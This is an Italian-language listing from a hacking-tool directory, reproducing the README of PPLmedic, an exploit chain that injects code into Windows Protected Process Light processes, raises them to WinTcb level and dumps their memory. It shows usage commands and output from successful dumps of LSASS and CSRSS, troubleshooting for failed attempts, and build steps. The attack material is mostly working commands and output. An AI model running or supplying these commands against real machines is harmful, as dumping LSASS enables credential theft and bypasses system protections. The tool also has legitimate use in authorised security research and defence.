Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
PPLmedic — Estrai la memoria di qualsiasi PPL con una catena di exploit Userland | Kitploit
Strumenti/GitHubGitHub/itm4n/pplmedic
Escalation di PrivilegiExploitPost-ExploitRed TeamingSviluppo PayloadArchived
GitHubitm4n/pplmedic

PPLmedic

Estrai la memoria di qualsiasi PPL con una catena di exploit Userland

Vedi Repository
3533933 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PPLmedic

Questo strumento implementa una catena di exploit in Userland per iniettare codice arbitrario in un PPL con tipo di firmatario Windows ed elevare al tipo di firmatario WinTcb. Queste tecniche sono state originariamente discusse da James Forshaw (noto anche come @tiraniddo) nel suo articolo Injecting Code into Windows Protected Processes using COM - Part 1.

Per saperne di più su questo strumento, dovresti leggere l'articolo dedicato qui:

  • Bypassing PPL in Userland (again)

💣 Disclaimer

Qualificherei questo strumento come una proof-of-concept avanzata. Dovresti pensarci due volte prima di usarlo in un impegno reale. È sicuro da usare finché non viene interrotto, cosa che non può essere garantita in presenza di un EDR, per esempio.

Modifica chiavi di registro importanti relative al servizio Windows Update Medic. Nel peggiore dei casi, se queste chiavi di registro non vengono ripristinate correttamente, il servizio non funzionerà come dovrebbe, ma questo non causerà il crash del sistema operativo.

📝 Utilizzo

Prerequisiti:

  • Privilegi: Amministratore o SYSTEM con SeDebugPrivilege
  • Piattaforma: Windows 10/11 o Windows Server 2019/2022
  • Architettura: Supportata solo x86_64
root@kitploit:~
REM Usa l'opzione -p per elevare da PPL-Windows a PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]

Dump di un PPL-Windows o inferiore (es.: LSASS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe                      756 Services                   0     20,028 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]

Dump di un PPL-WinTcb (es.: CSRSS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe                      520 Services                   0     26,420 K
csrss.exe                      608 Console                    1     57,548 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]

📋 Test

🚧 Problemi noti

Errore: "Unexpected error or timeout"

Ricevi il seguente errore perché l'exploit è andato in timeout mentre cercava di creare un oggetto COM TaskHandler remoto. Di solito è il segno che il servizio di destinazione WaaSMedicSvc è andato in crash. Questo può essere confermato con il messaggio successivo: [!] Service WaaSMedicSvc is no longer running. Dovresti provare a eseguire di nuovo lo strumento.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]

Errore: "Reached the maximum number of attempts"

Ricevi il seguente errore perché l'exploit non è riuscito a scrivere una directory oggetti valida in meno di 1000 tentativi. Questo limite funge da salvaguardia per evitare che il servizio di destinazione consumi troppe risorse. Dovresti provare a eseguire di nuovo lo strumento.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]

Errore: "Failed to write LdrpKnownDllDirectoryHandle value"

Ricevi il seguente errore perché si è verificato un errore imprevisto durante la chiamata a LaunchDetectionOnly o LaunchRemediationOnly. Comunque dovrebbe essere piuttosto raro. Dovresti provare a eseguire di nuovo lo strumento.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]

Errore: "Failed to cache sign ..."

Ricevi il seguente errore perché l'exploit non è riuscito a firmare tramite cache la DLL payload. L'oplock impostato sul file di catalogo probabilmente non è mai stato attivato perché era già stato aperto dal Kernel. Puoi provare a eseguire di nuovo lo strumento in un secondo momento (per Windows 11, fai riferimento alla sezione "Test").

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]

🏗 Istruzioni di compilazione

Questa soluzione di Visual Studio comprende due progetti (l'eseguibile e una DLL payload) che devono essere compilati in un ordine specifico. Tutto è preconfigurato, quindi devi solo seguire queste semplici istruzioni. La DLL payload compilata viene automaticamente incorporata nell'eseguibile finale.

  1. Apri la soluzione con Visual Studio 2019.
  2. Seleziona Release / x64 (x86 non è supportato!).
  3. Build > Build Solution.

🎖 Crediti

  • @tiraniddo - Injecting Code into Windows Protected Processes using COM - Part 1
    https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
Scarica lo strumento
Versione di WindowsPPL-WindowsPPL-WinTcbOsservazione
Windows 10 22H2 Build 19045.2673✔✔N/D
Windows 11 22H2 Build 22621.1344⚠❌Crash frequente del servizio + l'exploit della firma cache contraffatta non sembra funzionare.
Windows Server 2019 Versione 1809 Build 17763.4010✔✔N/D
Windows Server 2022 Versione 21H2 Build 20348.1547✔✔N/D